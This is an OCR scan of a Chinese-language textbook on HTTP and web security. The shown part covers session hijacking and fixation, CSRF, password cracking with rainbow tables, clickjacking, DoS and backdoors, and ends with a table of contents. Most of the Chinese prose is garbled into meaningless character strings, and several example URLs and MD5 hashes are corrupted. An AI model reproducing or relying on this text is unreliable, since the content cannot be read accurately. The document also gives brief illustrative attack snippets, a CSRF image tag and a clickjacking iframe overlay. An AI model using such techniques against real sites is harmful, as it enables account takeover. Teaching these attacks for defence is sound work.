A FE v Web Pl A SROT TSR 2 T RE, AR AT REAAL
B 308 P I FH R AT D9 B # A IR

11.4 RHS1EE B2 5] K82 4R

S EHEARE M RSB, H2WRESWEEHR A
Frgi &, w38 P A EIR S0 IS Ja 2R

11.4.1 =UEBIFF

S1EHFE (Session Hijack) se$g Wi # @l A FERESR THF IS
15 ID, FRAEZAE A&k ID 2SR 7, i8R 1 H Y.
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B AERE )& D
http:/fexample.com/login?sid=bb3c8a93al24e

>

Al O 4

HEBBIRPFREBRH THEID
[ bb3c8a93a024e )

v
http://fexample.com/login?sid=bb3c8a93a024e

>

B

WO E£4E

K. SiEHFr
HAAUIEThRER) Web N, 215 ID 21 BN, /RSP
INIEPIRE R FER AR 21% ID Fid 3% P i) Cookie ZHE R, RS
a2 iE ID 5IAIRIRES AT — X — LAC & 2 .
NHIAES T LR B A A RIS 2 0E 1D HIIE AR .

o I AR L AR T 1 HEI 2> 1E ID

o T BT EL XSS B K B4 iE ID

o it £xif [Hl 52 B (Session Fixation) 53R4T 3RALZ>1E ID

o XUEBNFFHAE I
N HEIATLLAUE DY RE NI B AR 2 1E B fr . IX BLAIAIE D REIE IS 2

TEEEMLE], SRV ERH P &1E ID (SID) RAFAER P
W5 2% 1) Cookie H.
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—* Cookie
l,_ ¥ ; SID=fbd1278e8109

Mal O %4

it XSS I, 1% & F B JavaScript B Z&1E F
document.cookie X% BX Cookie 15 E 89 G HE,
HERFPHZIEID(SID)

SID=f6d1278e8109

BT | pemme

i IHEEBLLHSIDEES -
I E#E B C &3 %5 28 Cookie & AW O %ksE

B =il B R

B & FEAFAN1% Web WS AFEAE AT S M d; (XSS) M) % AT
J5i s ?ﬁ&ﬁﬁﬂ? JavaScript AN F document.cookie PL%E7HX
Cookie 15 S HIFERE, —HH BN (Ujm Vizies) , Bk
%ﬂﬁ%ﬂﬂAﬁAlﬁHN%CMMe

ﬁ$%$ﬁ%Fm 15 ID J&, 1 H W2 Cookie H X B
215 ID, B fhZEpk21E ID EBE R 7, Viin) Web PG T o

11.4.2 25 Wi

XFPAGTHH b1k ID N ES R FROSESFRIN S, Subb e B
i (Session Fixation) X <xomifil H o H BT R e =i 1D, J&§
TR BB

o N [E eI E=
N EBATANUEZD BEN I I 2 1 [ € Bldr o XA~ Web M3

WIS, SRR 218 D, BIER, il
M5 B P AR

227



1

o6  QRFB/BEHB—TEIEID
HE  http/fexample.com/login/SID=f5d1278e8109
ZEE DA RIME RS

[

32 e URLIEAKER, BSHPREIME

| IAEG, S IDEA( AP ABINE RS

T £hEE AL T
. ¥l

AP A

B 2l ] e B =

W B A TAE, JaUh A Web Xl B 31 251

ID (SID=f5d1278e8109) . It%|, &1 ID fER S 75 L ic ATy
& (RINE) RS (ﬁ%ﬁ%@fv@)

W B e B A am b B P AR Z 20d ID s R, JFERH P 25
XA ID A2 AE. — B PR GBI e OAE, 206
ID (SID=f5d1278e8109) fEARS#s LHPIRES (A A BIAE)
SHEE TR, CPEG)

Bk # At P ZAZ SR P E, R 2 A~ =135 ID
Vi P, BT izetl ID HErc 2 7 A SR RE, T
e B EAE N AR SIS M. CEIR@)

Session Adoption

Session Adoption #& 5 PHP B¢, ASP.NET HE05#2 S AbBE R F025 1 ID
iRt

A% 2 Dy e A AT ko 2 1 [ € Sy TR B B, AL Web ]
JIE PERATHI AT D KT, B, Behs oA b O 2 E D
R BB, A mAt A iR U\jj@%iﬁ ID #2& R A2 ID M35 .

11.4.3 B g Ry iE
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Feuk i R (Cross-Site Request Forgeries, CSRF) Wi /& 8 i
FIA W E RN, sRf 258 BVGE R H P AT SRR NS
BESES B LRES T, & Tt
5 il i SR DN IE A AT BRI B LA SR

o M H i AR i H 7 BCRR B8 BT e AE B 5%

o I H O3 I R i FH F BCRR T 5K 7

o MM CEMINIERHPBIRER SR ERERF®

o 5k KUIE R DY IE 1 By Z 61

N LAV SWRIIBENE], PRl SiE R i . iZThRER v e
WAEFF B PR SR E KRR

I\

DINEBEAP ASH —
T EPA

%

GET /HTTP/1.1
Host: example.com
Cookie: sid=1234567890

WEE® TR

EBERLERESEESRENTER
<img src="http://fexample.com/msg?q= {R¥ ">

e s |EET—
% meA

GET /msg?q={R¥F HTTP/1.1
Host: example.com e
Cookie: sid=1234567830

APAMNKEZE S Cookie FH EINMEMNESIEID, MARBPAK
PR TR FTRBN1E

e i ol 1 SR D 3 1 o 2= 41

EIZEEWRARA L, ZFEEHP ARZRCNIEIRES. &N %23
1) Cookie £ CLUAUERI 216 ID GPIRQ) .
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Wi B wE L — B U5, B RORE B 5 i B RCRAE AT
NPV RITER IR P A B 28 0T 5e PR R Y
HRJE, HER B MSE CBROD .

R B bR, WA A MAREEVAE, WPEER A A
) S U BLBRAE B 5 B R A2

11.5  HAth 22 4 %1

11.5.1 00k
AR AR (Password Cracking) BI& H254Y, REGAIE. WA
IIRT Web N H, SBFEHAMII RS (W1 FTP 8 SSH %) , A1
Sy B A IEDIRE Y Web N 3EAT 1 25 A5 At i
L A UL PR B

o JE I X 2% 1) % g R A

o X OINEFMSNBR (FEU D HENR RS, LRI Bk
A7) Ak B 1 A A A L)

bR 22 RABAMIE R B T B, 38 SQLIE NS b BEAE, #5uk A
Ko e B i 45 B 55 T 1%

o I Y AT 0 L

XF Web B ISR BERIIAUETRE, GBI P 2% il s S g it AT B —
P . 32 BL R PR T 3

o JIHIK
o F LI
I3 Bk
532572 (Brute-force Attack, SUFRZEIJWARIE) EFEXF P A % 4]

LEEM IR (Keyspace) #EAT5525. B, AHFrERIATH
feide 2T H AR 200 RS0l ds,  F DASRBIGUE i — Fh Bt
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FEAnARAT R BN R A A2 Bed A B 2 e &6y, A8 5k
M 0000~9999 HH = ER IR N T 2R, XKk, WEfE
15 58 B AL B A AEAE — /N IEF RO Y, aliE AT .

KA 95 280k o 2 I B (e 565, Pir DA — Fellh IR BE S B fige
M Bt B2, =PSRRI, ffE n] Be /2 92 4L
T, ERTHERR R, KIS AmEEE, Bl R,

U Uy

T A R A S e R I ke R (AL & 07 5 UR
EA?@>,ﬁ$?ﬁ¢%%@,%ﬁﬁﬁ%ﬁ%—ﬁﬁ$$
e

2T R AN N IR RBIEL 4 A Ber (S ) 1, % e 3
H P B SR04 HECES R T gett s s, T et H
HABEN, W 0101~1231 ARAFR T 8, HE T 243K

5I3REMEL, BT R RSN RRE D, B B et

SO TR 5 I SV SR (1P S o X b & S WS 0 S P Y- PR 1)
T o DR TAL e P BT e 5 L ) A2

¥$E| ?ﬁﬂﬁl

0000 ——————p | Sl < 0101
0001 sy 4= [ | S < 0102
0002 0103

—_— % iE 3t 2 +—— 0104
- ; —
0010 0817 : 0816
00 . ) 0817
0818 ’ FHf! +——————
0817 o,

TFaf! FRAEED ORE=FTIR
i { Z K 366K )

HaR N BEBTHES
Lol AT AR E R TR

B, BURBETEFAPRLTE
BERERAZEHMNSHERERL IEfRUC &2

*EIREAGROERLAEH 4 CE AN EF A
K. 55 28k AT L I
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AU ) Ak it S Y D~ 55 AL R AT Bl

F B HA — PR B A Web 993 kR 1) ID B2 2R )3k
BEATHIB . AR 2 H 7 SR BE A 224> Web I3 7] —
B ID K, FBGE &AM m L.

IARIEE T ESE, MIIARET 6.7%. T 23 4 (2011 ) 2
AR ARIE T AT 9 H) BAR R AR E S W
http://www.npa.go.jp/cyber/statics/h23/pdf040.pdf

o X LN T AL I BN A

Web B FHERAE MRS, —f A BB DB SO R A, did
HCF) R B A A AL B BN salt BT BON B ARAT B B A & N5
AR BPASE Mo 25 4 P S S B oy U S B4, an SRR B = B X
%%ﬁ—%, A I8 o e i 55 7 B, N 28 AL B 1) 25 3 i 1l B
g

D=L et
R 5 & 8L Bl el & HUESHERTE
abc —— | MD5 ——»| 900150983cd247b0dB9637d28e1 772

BEBHARTHINE, TRITFRRNPIBEE,
FELEMBSIEN, ANt RBHEKENHRT MR

@RAEST
HEENFEE BHaR RODREHTHIIETER
abC |— | MD5 | 900150983cd24fb0d6963t7d28el 7172

3 ROOBIMERD b 63 {R1F69F 75 L& — B FOFIAEA DY
- B O AR AL
M S 3 v S B DG A LR LR %

o ML 55 KL - M By HEAT KA

o RHI K

o FF|H ]

d

>
E
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http://www.npa.go.jp/cyber/statics/h23/pdf040.pdf

o JINE HAE KR I
I 93 25 - i By AT S HE

ER RS A A R BT I A 1S O, KA %Djj%’é/z*i&%
SRBC AR (A ATV, o A (R 8 o B ot 2, 24
JRAETH S BSME S A AraSE ILES, SEHE T .

HEEEHHINE
900150983cd24fb0d6963f7d28e1772 4

i 85 e F xHR iR Rl i 1T HS ) LB Jg ik

a e e Occ175b9c0f1b6a831c399e269772661

b — —p 92ebbffeeBaeZfec3ad71c777531578f

C —_— —p 488808f09d37b73795649038408b5F33 — 5
8] [Egd .

abc — MD5 by 900150983cd24th0dB963f7d28e1 772 (—I

i —p 02441dd7f66c49c82cef55354f467149

i 3 02c425157ecd32f259548b33402ff6d3

B O I i/ JE 55 28k - i A gk AT S
RS

KUK (Rainbow Table) & H B SR I 55 2 F NI H S IE 4 A
] — g&iﬁﬁﬁﬂé Pl A HE R RBLLR, AIfES4s
7 o ML S5 S PR AR R 4 R YRR TR R T . MORHLER
V\]%@%’f%ﬁ“ﬁﬁﬂt—fujtﬁvﬁﬁrmﬁiﬁ i

MRHRRFHINERESHIAX

5L &5l MD5 )

a Occ175b9c0f1bBaB31639%e269772667
b 92ebbffeebaeZfecl3ad/1¢777b31578f1

aa 4124bc0a9336c27f0861240ba207a4912

pass1234 b4af804009ch036a4ccdc33431ef9acd

Foildk: MEegEMETSAIMEMNTE &

A BRI Y/ R HTR
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N1 REBGERDIR, WA — K2R R R 1 AR]
/DA . BIUNTE Free Rainbow Tables WX [

Chttp://www.freerainbowtables.com/en/tables2/) AAf ) —5K HH K
IINE B R AP 1~8 AL B B Y MDS B IE #2 Y
RIRALER, H R/ 1050 #5715,

SR Y

fil L S N e g SO S AL A AT I AL B S DL 1, SR
%}%ﬁﬁ%%*?&%ﬁiﬂbﬂ% IR B, m T DA 8 65 o i o

TN S5 R

2 J8 BN SR A B T A AE R TR, R 2 e T 2 A 2
—MRAT Rk B BRI O s A s SR T
I, Rz g, FUENCR, A5 ).

11 Web N T 3 L SEIL I 50k, AR M oR 22 58 70 1Y
Wk, IEARARAE AT REAEAE IR Y o

11.5.2 St

s EFE (Clickjacking) J2 484 % B i 12 2 sk B b Bk, 78 o5
fE Web T Z Fo PRGBS PAEANFIERIE O T, R A B
Vi N — RS B X MAT A XIS AR (U
Redressing)

1 B R Web T, R AR TLAZ, HECHANELLEH
PSR . M P SR RLE R AR, sSLhr bt T 2R
FEHEMEIUE R iframe TH .

o oy B IR By ZE
NTHEA SNS Wl FEAH ThaE N B, UM R B RF Bty . A %

R IhEE, JEMPESH) SNS H P H 5 Ay e g, T DA
SNS Wl _yEsH H O i< 1 57

234
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FIiZAERE = B irm ik

KT %, SER( BRI RH AR 6%
K. S B

Wb F E TR P 2 00 Web T BV A, EERAF M
WAk DU 1) PLAY F2¢4H mit 781X 28 B R 1) 2451

FEMGE T AT Web T B, FARE) SNS VEH T RE WU HPRAE 3%
W R s e L . i, ZEORIUE PLAY #2441 SR 1% 41
H DT I A B AR — 3

iframe DU 48 HIE B a] ol 45 R R 7 1

<iframe id="target" src="http://sns.example.jp/leave" st
<button style="position:absolute;top:100;left:100;z-indqg

H T SNS MulifE NiZEHEW & T, SNS Muh FALT 5 R AR
FH P i) i AN A s 9 o TUTRT B ) PLAY $%4l 2 J5, 5 HT
A T SNS Wk E s T4

11.5.3 DoS X
DoS %7 (Denial of Service attack) & —Fhibiz T AR SS 245 1ER
BB . A Y AR 5515 1B B B AR 48 R 45 B . DoS B i Xt
FAMYIR T Web WG, 38 0LHE W 28 325 M AR S5 2355
FEH LU TR DoS B i 1o

o LRI VT I iE K i YR, IR R EE, sEhR b
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Hik 55 gl 245 1B RS
o 3 I Mraly 2 G iR A AR 5545 1k
Horr, LM A VT RIE K DoS Moy, HADR IS KIE KRR &

EE K . MRS HRME > A N IEH G R, oSG R, DRI AR MR
1k DoS B,

BEERLEFESEIRS SIS LR

(
i I“"’lli %
L

WESSHRSELY T
R AR Kk A o

v

lg]: DoS I&ﬁ%
HHENLR AL DoS I #r A DDoS i (Distributed Denial of

Service attack) . DDoS B i 5 F1) F A L8 J8 4edps 55 1 HEAUE A
A B BRAR

11.54 FITEF

Ja 1R (Backdoor) &8 & 15 B BRI L, AIANYE 15 20 IR
H52[RIiEe. FIH G TR Btae W A A 52 FR 1 1 T RE

WHENJETIREF 73 NN 3 FhsERL.

o JTFRBYBAE N Debug 1 H 15 I 1RE 7
o JFIKFENTHEMIEANKG TP
o WiliF B IEM I LB E K TP
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AE I AL R ALE (S RS R BBAE ARG T IREFP . (HBEE Web
NG TIRER? B AR R DA K, I8 AR R A B
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H ox

AR B

AL 75

PR IF

I

EJal)

F1E TR Web MR
1.1 f#f HTTP #0517 Web
1.2 HTTP HJ#EA:

1.3 2535t TCP/IP
1.4 5 HTTP XA VKM : IP. TCP 1 DNS
1.5 ST AENT I DNS %%
1.6  FFiHX 5 HTTP MM A% &
1.7 URI 1 URL
2B A HTTP Bhid

2.1 HTTP B8O % 7 s AR 55 s i 2 18] )38 A5

2.2 IS SRR N AL ok s A
2.3 HTTP & AMRAFIRES I Y

2.4 iE3K URI &AL YR

2.5 HukS A =BT HTTP Ak

2.6 fFHFETEMS

2.7 FEAEETHEGE

2.8 f#i [ Cookie fRIIRZAS 3
3% HTTP XA K HTTP E &
3.1 HTTP#

3.2 TESRIR ST S N ST 5

3.3 YmbdE LR %

3.4 RIEZMEIRZ IO RES
3.5 FREGH 3 WA Ta K

3.6 AR B A &I N2
F4E R[FISE RN HTTP RS
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10
12
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19
22
23
25

29
29
30
33
34
35
40
41
45

48
48
49
51
53
55
57

59



4.1
4.2
4.3
4.4
4.5

RS 50 MR 555 B il [ 118 oK 45
2XX %I

3XX HE ]

AXX %5 ] i b iR

S5XX RS AR

%53 5 HTTP MER Web IkR5S 4%

5.1
5.2
53

HIHL 5 R LS 2k
WG EE L KR - ARB. WG, FRIE
TRAF LR M 22 A7

6= HTTP B3P

6.1
6.2
6.3
6.4
6.5
6.6
6.7
6.8

HTTP i 3C 15 56
HTTP & #87Ek
HTTP/1.1 38 & &7 B
TR E B

M 15 1 508 7 Bt

SR B

A Cookie AR5 1B &8 B
HoAth 58 = B

%7 R Web 24 HTTPS

7.1

7.2 HTTP+ % + AAF + 52453 =HTTPS

HTTP k&5

8 FE BNV P B B IE

8.1
8.2
8.3
8.4
8.5

fAl 9 NIE
BASIC AiE
DIGEST iAilF
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